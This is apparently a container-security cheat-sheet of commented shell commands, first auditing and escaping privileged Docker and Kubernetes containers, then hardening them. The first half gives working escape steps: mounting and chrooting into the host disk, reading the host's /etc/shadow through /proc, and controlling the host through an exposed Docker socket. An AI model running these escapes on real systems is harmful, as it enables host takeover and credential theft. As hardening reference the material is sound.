Container Escape Analysis

# A privileged container has ALL capabilities
# This is equivalent to root on the host

# Check if running privileged
cat /proc/1/status | grep Cap
# CapPrm: 0000003fffffffff  (all capabilities)

# Classic escape: mount host filesystem
mkdir /host
mount /dev/sda1 /host
chroot /host

# Or mount the host's root namespace
mount --bind /proc/1/ns/mnt /mnt

# In Kubernetes, check for privileged pods
kubectl get pod <pod> -o yaml | grep privileged
# privileged: true  <- DANGEROUS

# /proc/self/root gives access to the container's root
# /proc/1/root gives access to PID 1's root (host if PID 1 is host)

# Read host files via /proc
cat /proc/1/root/etc/shadow  # May work in misconfigured setups

# /proc/sys gives access to kernel parameters
cat /proc/sys/kernel/hostname  # Shows host hostname

# Access host network namespace
ls -la /proc/1/ns/net

# Docker/Kubernetes should mask /proc
# Check what's visible
ls /proc/sysrq-trigger   # Should be inaccessible
cat /proc/1/cgroup        # Shows cgroup info

# Kubernetes hostPath mounts can expose the host filesystem
# DANGEROUS hostPath configurations:

# Mount / (root filesystem)
# Mount /etc (configuration files)
# Mount /var/run/docker.sock (Docker API access)
# Mount /proc (host process information)

# Check existing hostPath mounts
kubectl get pod <pod> -o json | jq '.spec.volumes[] | select(.hostPath)'

# Docker equivalent
docker inspect <container> | jq '.Mounts[] | select(.Type=="bind")'

# Docker socket exposure allows full host control
docker run -v /var/run/docker.sock:/var/run/docker.sock docker docker ps

# Check kernel version
uname -r

# Container-specific kernel features that may be exploitable:
# - user namespace clone (unprivileged user namespace)
# - cgroup release_agent
# - /proc/sys/kernel/core_pattern
# - CAP_SYS_MODULE (kernel module loading)
# - CAP_SYS_PTRACE (process tracing)

# Mitigate with:
# - Keep kernel updated
# - Disable unprivileged user namespaces if not needed
# - Use seccomp to block dangerous syscalls
# - Use AppArmor/SELinux to restrict file access

# Check for known container escape CVEs
# CVE-2022-0185 (heap overflow in fsconfig)
# CVE-2022-0492 (cgroup escape)
# CVE-2022-25636 (nf_tables bypass)

# Drop ALL capabilities, add only what's needed
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp

# Use read-only root filesystem
docker run --read-only --tmpfs /tmp myapp

# Disable privileged mode
# NEVER use --privileged in production

# Use seccomp profiles
docker run --security-opt seccomp=my-profile.json myapp

# Use AppArmor profiles
docker run --security-opt apparmor=my-profile myapp

# In Kubernetes, use PodSecurityPolicy or PodSecurityAdmission
apiVersion: v1
kind: Pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  containers:
  - name: myapp
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
        add: ["NET_BIND_SERVICE"]